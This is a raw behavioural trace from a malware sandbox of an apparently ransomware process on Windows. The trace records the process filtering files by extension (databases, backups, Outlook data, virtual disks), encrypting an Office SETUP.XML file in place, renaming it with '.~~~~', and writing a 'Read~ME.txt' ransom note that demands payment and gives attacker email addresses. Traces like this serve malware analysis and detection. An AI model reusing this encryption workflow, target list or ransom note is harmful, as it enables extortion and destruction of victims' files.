	[0080.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff558 | out: hHeap=0x300000) returned 1
	[0080.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bf58 | out: hHeap=0x300000) returned 1
	[0080.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff558
	[0080.840] lstrlenW (lpString=".scr") returned 4
	[0080.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0080.840] lstrlenW (lpString=".cmd") returned 4
	[0080.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0080.840] lstrlenW (lpString=".dll") returned 4
	[0080.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0080.840] lstrlenW (lpString=".bat") returned 4
	[0080.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0080.840] lstrlenW (lpString=".cpl") returned 4
	[0080.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0080.840] lstrlenW (lpString=".sys") returned 4
	[0080.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0080.840] lstrlenW (lpString=".msc") returned 4
	[0080.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0080.840] lstrlenW (lpString=".com") returned 4
	[0080.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0080.840] lstrlenW (lpString=".lnk") returned 4
	[0080.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0080.841] lstrlenW (lpString=".msp") returned 4
	[0080.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0080.841] lstrlenW (lpString=".pif") returned 4
	[0080.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0080.841] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.841] lstrlenW (lpString=".sqb") returned 4
	[0080.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0080.841] lstrlenW (lpString=".ost") returned 4
	[0080.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0080.841] lstrlenW (lpString=".txt") returned 4
	[0080.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0080.841] lstrlenW (lpString=".mdt") returned 4
	[0080.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0080.841] lstrlenW (lpString=".BDB") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0080.842] lstrlenW (lpString=".eql") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0080.842] lstrlenW (lpString=".DBF") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0080.842] lstrlenW (lpString=".EQL") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0080.842] lstrlenW (lpString=".FDB") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0080.842] lstrlenW (lpString=".EDB") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0080.842] lstrlenW (lpString=".DACPAC") returned 7
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0080.842] lstrlenW (lpString=".VHD") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0080.842] lstrlenW (lpString=".DBV") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0080.842] lstrlenW (lpString=".dacpac") returned 7
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0080.842] lstrlenW (lpString=".sdf") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0080.842] lstrlenW (lpString=".accdb") returned 6
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0080.842] lstrlenW (lpString=".DBX") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0080.842] lstrlenW (lpString=".MDT") returned 4
	[0080.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0080.842] lstrlenW (lpString=".SQB") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0080.843] lstrlenW (lpString=".vhd") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0080.843] lstrlenW (lpString=".bac") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0080.843] lstrlenW (lpString=".mdf") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0080.843] lstrlenW (lpString=".BAK") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0080.843] lstrlenW (lpString=".BAC") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0080.843] lstrlenW (lpString=".dbs") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0080.843] lstrlenW (lpString=".vhdx") returned 5
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0080.843] lstrlenW (lpString=".NDF") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0080.843] lstrlenW (lpString=".dat") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0080.843] lstrlenW (lpString=".DBS") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0080.843] lstrlenW (lpString=".CKP") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0080.843] lstrlenW (lpString=".edb") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0080.843] lstrlenW (lpString=".PST") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0080.843] lstrlenW (lpString=".dbf") returned 4
	[0080.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0080.844] lstrlenW (lpString=".SQL") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0080.844] lstrlenW (lpString=".pst") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0080.844] lstrlenW (lpString=".dbv") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0080.844] lstrlenW (lpString=".SDF") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0080.844] lstrlenW (lpString=".dtxs") returned 5
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0080.844] lstrlenW (lpString=".db3") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0080.844] lstrlenW (lpString=".OST") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0080.844] lstrlenW (lpString=".dbx") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0080.844] lstrlenW (lpString=".DB3") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0080.844] lstrlenW (lpString=".DAT") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0080.844] lstrlenW (lpString=".VHDX") returned 5
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0080.844] lstrlenW (lpString=".ndf") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0080.844] lstrlenW (lpString=".DB") returned 3
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0080.844] lstrlenW (lpString=".sql") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0080.844] lstrlenW (lpString=".MYD") returned 4
	[0080.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0080.845] lstrlenW (lpString=".DBT") returned 4
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0080.845] lstrlenW (lpString=".ACCDB") returned 6
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0080.845] lstrlenW (lpString=".fdb") returned 4
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0080.845] lstrlenW (lpString=".bak") returned 4
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0080.845] lstrlenW (lpString=".myd") returned 4
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0080.845] lstrlenW (lpString=".DTXS") returned 5
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0080.845] lstrlenW (lpString=".ckp") returned 4
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0080.845] lstrlenW (lpString=".dbt") returned 4
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0080.845] lstrlenW (lpString=".db") returned 3
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0080.845] lstrlenW (lpString=".TXT") returned 4
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0080.845] lstrlenW (lpString=".MDF") returned 4
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0080.845] lstrlenW (lpString=".bdb") returned 4
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0080.845] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.846] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.847] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.847] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.847] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20083685020) returned 1
	[0080.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a093230, dwHighDateTime=0x1d60e1e)) 
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bf58
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bf58 | out: hHeap=0x300000) returned 1
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.847] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.847] GetLastError () returned 0x0
	[0080.848] GetLastError () returned 0x0
	[0080.848] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.848] GetLastError () returned 0x0
	[0080.848] GetLastError () returned 0x0
	[0080.848] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x2488, lpOverlapped=0x0) returned 1
	[0080.851] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffdb78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.851] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x2488, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2488, lpOverlapped=0x0) returned 1
	[0080.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.852] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.852] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.852] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.852] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.852] CloseHandle (hObject=0x134) returned 1
	[0080.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff2a0
	[0080.852] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.~~~~")) returned 1
	[0080.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff2a0 | out: hHeap=0x300000) returned 1
	[0080.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.853] GetLastError () returned 0x0
	[0080.853] RtlWakeConditionVariable () returned 0x365f70
	[0080.853] GetCurrentThreadId () returned 0xaf0
	[0080.853] GetCurrentThreadId () returned 0xaf0
	[0080.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801640
	[0080.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff640 | out: hHeap=0x300000) returned 1
	[0080.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bf90 | out: hHeap=0x300000) returned 1
	[0080.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff640
	[0080.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.854] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0080.854] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0080.855] CloseHandle (hObject=0x134) returned 1
	[0080.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff640 | out: hHeap=0x300000) returned 1
	[0080.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801640 | out: hHeap=0x300000) returned 1
	[0080.855] RtlWakeConditionVariable () returned 0x365f70
	[0080.855] GetCurrentThreadId () returned 0xaf0
	[0080.855] GetCurrentThreadId () returned 0xaf0
	[0080.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a7108
	[0080.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d518 | out: hHeap=0x300000) returned 1
	[0080.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa6d0 | out: hHeap=0x300000) returned 1
	[0080.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39d898
	[0080.855] lstrlenW (lpString=".scr") returned 4
